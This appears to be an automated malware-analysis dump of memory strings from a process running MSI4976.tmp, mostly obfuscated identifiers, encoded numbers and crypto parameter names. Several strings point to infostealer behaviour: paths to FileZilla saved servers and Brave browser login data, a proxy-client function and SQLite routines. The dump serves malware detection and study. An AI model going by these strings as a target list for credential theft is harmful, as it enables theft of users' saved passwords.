Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301950l227301943l227301944l227301938l227301946l227301939j$	memstr_7997ad43-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dword cbsize;dword dwpromptflags;hwnd hwndapp;ptr szprompt;y$	memstr_bd6dbe15-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./c1./,$	memstr_05530836-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\filezilla\recentservers.xml	memstr_df7f15e8-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <%(z-	memstr_3f2ce414-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?'*xm	memstr_acc71e87-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: crlf(	memstr_b9f8ac64-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <!+z8	memstr_5d59bcbb-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: crlfh	memstr_fd2c0922-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?"*]m	memstr_040d8b2f-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?=*^m	memstr_1bce6ac7-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c<?+p	memstr_80b8ac18-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: crlf@8	memstr_fdd33c3d-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?8*sm	memstr_1c2abf67-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ocalh	memstr_c1b1af92-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?;*tm	memstr_14732ab3-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v3epick323l227301938l22	memstr_c938f03d-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 02006l227301938l227301943l0	memstr_46a70c2f-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7301922l227301943l22730200h	memstr_635b906f-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301925l227301923l227301	memstr_e40e2a9a-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6l227301926l227301946l2273	memstr_00644912-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 951l227301939l227301938l22	memstr_fa9207da-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 02006l227301922l227301945l	memstr_7b6f098a-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 944l227301941l227301	memstr_0504caa4-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 01951l227301945l227301944l227302008d	memstr_6dc913de-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301908l227301941l227301924l227301935l227301926l227301922l227302008l227301938l227301946l227301946l227302006l227301925l227301923l227301941l227301941l227301939l227301925l227301925l227301936l227301923l227301946l227301946l227301935l227302006l227301941l227301946l227301945l227301925l227301939l227301938l	memstr_caa44c36-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301891l227301944l227301943l227301940l227301946l227301939l227302006l227301922l227301945l227302006l227301923l227301925l227301939l227302006l227301922l227301950l227301939l227302006l227301906l227301914l227301914l227302006l227301936l227301951l227301946l227301939l227302008h	memstr_42972969-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301908l227301943l227301938l227302006l227301944l227301923l227301947l227301940l227301939l227301924l227302006l227301945l227301936l227302006l227301926l227301943l227301924l227301943l227301947l227301939l227301922l227301939l227301924l227301925l227302008227302	memstr_9e922063-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\local\bravesoftware\brave-browser\user data\default\login datap	memstr_caa897e2-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301904l227301923l227301944l227301941l227301922l227301951l227301945l227301944l227302006l227301944l227301945l227301922l227302006l227301936l227301945l227301923l227301944l227301938l227302006l227301951l227301944l227302006l227301922l227301950l227301939l227302006l227301906l227301914l227301914l227302006l227301936l227301951l227301946l227301939l227302008d	memstr_a7d20fd4-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301891l227301944l227301924l227301939l227301941l227301945l227301937l227301944l227301951l227301932l227301939l227301938l227302006l227301939l227301924l227301924l227301945l227301924l227302008l227302006l227302006l227301910l227301939l227301924l227301924l227301945l227301924l227302006l227301995l227302006h	memstr_fb702f9c-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301891l227301944l227301943l227301940l227301946l227301939l227302006l227301922l227301945l227302006l227301945l227301926l227301939l227301944l227302006l227301908l227301941l227301924l227301935l227301926l227301922l227302008l227301938l227301946l227301946h	memstr_e21a78a1-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301890l227301950l227301939l227302006l227301945l227301940l227301948l227301939l227301941l227301922l227302006l227301921l227301943l227301925l227302006l227301944l227301945l227301922l227302006l227301936l227301945l227301923l227301944l227301938l227302008227302	memstr_e9ab050c-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 01945l227301926l227301939l227301944l227301939l227301938x	memstr_ca62fdf2-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227302011l227302006l227301908l227301941l227301924l227301935l227301926l227301922l227302008l227301938l227301946l227301946l227302006l227301925l227301923l227301941l227301941l227301939l227301925l227301925l227301936l227301923l227301946l227301946l227301935l227302006l227301945l227301926l227301939l227301944l227301939l227301938b	memstr_3885e64c-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301890l227301950l227301939l227302006l227301924l227301939l227301927l227301923l227301939l227301925l227301922l227302006l227301951l227301925l227302006l227301944l227301945l227301922l227302006l227301925l227301923l227301926l227301926l227301945l227301924l227301922l227301939l227301938l227302008227301-	memstr_dcfcdd93-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 227301904l227301923l227301944l227301941l227301922l227301951l227301945l227301944l227301996l227302006l227301897l227301897l227301909l227301924l227301935l227301926l227301922l227301945l227301912l227301905l227301897l227301919l227301925l227301911l227301923l227301922l227301950l227301890l227301943l227301937l227301908l227301951l227301922l227301914l227301939l227301944l227301937l227301922l227301950l227301888l227301943l227301946l227301951l227301938l227302014l227302015	memstr_7cc6af57-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 12fy	memstr_11a0d6b7-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p5my8jc3h5zr7oy3	memstr_25948e88-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m1bt9lw3i`3	memstr_e44f4425-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p9ht7kd6xi7dk3(x#	memstr_f8ddc6d3-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p7hf7od5z5t7or3#x$	memstr_5dc6f8df-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p5hb2ta0k6gu3:x%	memstr_05dfb1a5-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r2pa9en3a3i\|3=x&	memstr_4f5784f7-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n0ci4az8q8g	memstr_784c853a-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r8wu0wb7mj5x	memstr_3694f42d-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __sqlite_consolewrite	memstr_f0e3bfcf-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p6np8eb3sc5f	memstr_a5520cd3-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m4kt0iy6m#3	memstr_713a0836-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p5uw8dj3c*3kx,	memstr_54d7c105-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o6lb6yf1n8v-3bx-	memstr_2d360f03-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m1bt9lw3i43ex.	memstr_d90e0e00-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b2cy9kd5e+	memstr_25d99e99-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p3oi9ui3mk7t	memstr_71165750-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m1bt9lw3i	memstr_7ec8612a-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p1at9xx4l	memstr_e08e838a-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: proxyclient_start5t	memstr_3b4330f5-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p2zr8dc1vp8x	memstr_73501ecd-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: function: y5tv9un9j()	memstr_f6aaa62b-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p5ih3zq8ei8c	memstr_6f45b59e-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\installer	memstr_4e82578f-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dzqknadnup2ke3ig9pv8v	memstr_276f2153-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g9zk9nn7xh8g	memstr_39d9febe-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g3wp1ah7cy5x	memstr_c519b5f3-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: des_112-ad66-4c7c-9a1@l	memstr_0bb26a6b-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b7zo6od4skl	memstr_004cfd4a-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e7dz3cb8irl	memstr_daeb14c0-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o1xt0kv5xul	memstr_63be3238-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: blocklengthh;byte for\l	memstr_b8dc4e19-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r2be1nc2ugl	memstr_b6b60205-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: blocksizelistnl/[h	memstr_44665349-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmodecbcql&[i	memstr_c77c3538-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmodecfb;long txl9[j	memstr_033a740f-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p1er6rp3gx3i	memstr_c4058e1d-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n0ug5lm5w	memstr_c89511d1-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmodegcmu6li8y	memstr_57c409aa-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o1ik5ah0rw9s	memstr_624974b8-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dsaparametershort data&l	memstr_22fc1c1e-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: effectivekeylength)ln[q	memstr_706b395a-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: authtaglength0la[r	memstr_f4298205-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hashblocklengththrw9s;lx[s	memstr_e867cf35-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p0lw5at1rm6a	memstr_b317cd51-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmodeccm	memstr_c07762d0-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmodeecb52d-9cd	memstr_b0665f7a-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmoden/a	memstr_060cd258-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p8pp8ir2zp7i	memstr_1b082406-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m2sz5ny4ji5n	memstr_29ee8aea-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: chainingmode-44ee-8eb	memstr_e3d1909f-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e5au3zc6li8y	memstr_1c6c92ab-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g9en5oh1hd2p	memstr_e1bcfffa-f
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dhparameters/a	memstr_2fcc6fd2-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b4iq9rt1i	memstr_67c1c1f0-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b3cw2ka3om5u	memstr_b7c9657e-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n4ig4rn1rz4fnl1bw1wr8f	memstr_25b54667-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b8bk4fh8l	memstr_2782f02f-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.1.1.1	memstr_df0ae5e5-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r6fo9tl5io0o	memstr_959cbd57-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: paddingschemes	memstr_f3a73792-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p0da2gt1vr5i5y	memstr_1566fe06-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r7nh0so6m	memstr_23cf23ce-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hashdigestlengthgm	memstr_449e15fb-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hashoidlistngthnm	memstr_5a4c0fb6-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: multiobjectlength	memstr_b14e653c-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p6xv7fb1xxm	memstr_d9dc1050-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2rn5bg2fcm	memstr_0d3326fe-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.3.2	memstr_f1fb937d-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.3.2jm+zl	memstr_230e370c-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: keyobjectlengthmm"zm	memstr_83c413cb-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: objectlengthngthtm%zn	memstr_fe1fb6ec-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ivhoidlist	memstr_a5e1f45a-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: signaturelength	memstr_36013538-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: keystrengthgth	memstr_06a8824b-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l9at8bn1p9nx7mp1qi0d	memstr_ed15d38c-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: messageblocklength"m	memstr_357dfd41-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b1zf1ly0pro%mjzu	memstr_8c663227-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.3.7	memstr_5e604cd2-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.3.7,mmzv	memstr_40f78c81-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.3.4	memstr_b273f178-3
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <w1.2.840.113549.3.47mdzw	memstr_2bd09f64-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o6xu0ep0p6um5xu5b>m	memstr_3bca5b98-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: keylengths	memstr_9a9ef538-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g0gi4kn5no9c	memstr_bde83e14-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m2vd2wl8nv4o6qr5jz0je5y	memstr_6b1c3406-4
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m4bj7sj5kw2y	memstr_d9a1f4dc-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g4zb9jw9l	memstr_261c27f9-c
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: q9ez4cx3r2qe4ez1qx7n	memstr_5b4286e8-1
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p5ic4cs7hm8x	memstr_1a8d4c2a-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p4fx2uw4v	memstr_628e176c-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m3dd0gb0s	memstr_33f8b327-9
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: int tv_sec;int tv_usec	memstr_5bec7564-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fd_array	memstr_5c72391d-0
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g9bv5pl0fn4o	memstr_d2ac80c8-7
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p5fu2fk5je4s	memstr_10bac416-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g6ki3tt6v	memstr_337e543f-6
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e8du3sr9gt9q	memstr_13ebfe78-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: long length;ptr pbdata	memstr_3c76eb12-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p2oo1bl2ku5e3ow0va7o	memstr_b55d1ff3-d
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f1ro5tz1p9pp4ck1ho0kcn	memstr_2f528baf-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s9ye6vh0ai3g9kh8nt0vjn	memstr_369992d7-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a9oh6cy4tz5p2bl1vk1qmn	memstr_717c0b5c-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e2qg3kt9n7it7cl2ea3xfttn	memstr_562fd02d-2
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __wsafdisset	memstr_37375dd7-b
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \windatafn	memstr_cce92ceb-5
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fd_countocal\bravesofin.]	memstr_3016ee3f-8
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f2kn6pg2ic8b9nz5or8l	memstr_43a4b844-e
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m0uy7nm6o	memstr_fe61199d-a
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e5dp0eh4hg1m6jr9mp3po3v	memstr_d2003848-f
